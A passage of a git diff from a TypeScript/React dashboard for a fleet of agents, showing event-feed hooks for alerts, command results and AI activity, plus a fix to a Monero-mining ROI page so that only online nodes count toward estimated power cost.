const a = fleetAlerts[i];
|
||||
if (!seenAlerts.current.has(a.id)) {
|
||||
seenAlerts.current.add(a.id);
|
||||
newAlerts.push(a);
|
||||
}
|
||||
}
|
||||
|
||||
if (seenAlerts.current.size > 200) {
|
||||
const nextSet = new Set<string>();
|
||||
for (const a of fleetAlerts) {
|
||||
nextSet.add(a.id);
|
||||
}
|
||||
seenAlerts.current = nextSet;
|
||||
}
|
||||
|
||||
for (const top of newAlerts) {
|
||||
push({
|
||||
id: eid(), kind: 'alert',
|
||||
agentId: top.agent_id, agentName: top.agent_name,
|
||||
message: top.message,
|
||||
detail: top.type,
|
||||
ts: new Date(top.timestamp ?? Date.now()),
|
||||
});
|
||||
}
|
||||
}, [fleetAlerts, push]);
|
||||
|
||||
// ── Command result events ──────────────────────────────────────────────
|
||||
const lastCmdSeq = useRef(-1);
|
||||
useEffect(() => {
|
||||
if (commandResults.length === 0) return;
|
||||
const top = commandResults[commandResults.length - 1];
|
||||
if ((top._seq ?? -1) <= lastCmdSeq.current) return;
|
||||
lastCmdSeq.current = top._seq ?? -1;
|
||||
const name = agentMapRef.current.get(top.agent_id ?? '') ?? top.agent_id?.slice(0, 8);
|
||||
push({
|
||||
id: eid(), kind: 'command',
|
||||
agentId: top.agent_id, agentName: name,
|
||||
message: `${top.action} → ${top.success ? 'success' : 'failed'}`,
|
||||
detail: top.success ? undefined : top.message?.slice(0, 80),
|
||||
ts: new Date(),
|
||||
});
|
||||
|
||||
if (lastCmdSeq.current === -1) {
|
||||
lastCmdSeq.current = Math.max(...commandResults.map((r) => r._seq ?? -1));
|
||||
return;
|
||||
}
|
||||
|
||||
const newResults = [];
|
||||
for (const r of commandResults) {
|
||||
const seq = r._seq ?? -1;
|
||||
if (seq > lastCmdSeq.current) {
|
||||
newResults.push(r);
|
||||
}
|
||||
}
|
||||
|
||||
if (newResults.length > 0) {
|
||||
lastCmdSeq.current = Math.max(...newResults.map((r) => r._seq ?? -1));
|
||||
}
|
||||
|
||||
for (const top of newResults) {
|
||||
const name = agentMapRef.current.get(top.agent_id ?? '') ?? top.agent_id?.slice(0, 8);
|
||||
push({
|
||||
id: eid(), kind: 'command',
|
||||
agentId: top.agent_id, agentName: name,
|
||||
message: `${top.action} → ${top.success ? 'success' : 'failed'}`,
|
||||
detail: top.success ? undefined : top.message?.slice(0, 80),
|
||||
ts: new Date(),
|
||||
});
|
||||
}
|
||||
}, [commandResults, push]);
|
||||
|
||||
// ── AI activity events ─────────────────────────────────────────────────
|
||||
const lastAiAgent = useRef<Record<string, string>>({});
|
||||
useEffect(() => {
|
||||
if (aiActivity.length === 0) return;
|
||||
|
||||
if (!aiInitialized.current) {
|
||||
for (const entry of aiActivity) {
|
||||
if (entry.last_action) {
|
||||
lastAiAgent.current[entry.agent_id] = entry.last_action;
|
||||
}
|
||||
}
|
||||
aiInitialized.current = true;
|
||||
return;
|
||||
}
|
||||
|
||||
for (const entry of aiActivity) {
|
||||
const lastAction = lastAiAgent.current[entry.agent_id];
|
||||
if (entry.last_action && entry.last_action !== lastAction) {
|
||||
|
||||
@@ -108,7 +108,7 @@ export default function ROIPage() {
|
||||
? (hr / totalHashrate) * xmrPerDay
|
||||
: 0;
|
||||
const nodeUsdDay = nodeXmrDay * price;
|
||||
const nodeCores = a.cpu_cores ?? 0;
|
||||
const nodeCores = a.status === 'online' ? (a.cpu_cores ?? 0) : 0;
|
||||
const nodeWatts = nodeCores * WATT_PER_CORE_ESTIMATE;
|
||||
const nodeKwhDay = (nodeWatts / 1000) * 24;
|
||||
const nodeElecCost = nodeKwhDay * kwh;
|
||||
|
||||
Reference in New Issue
Block a user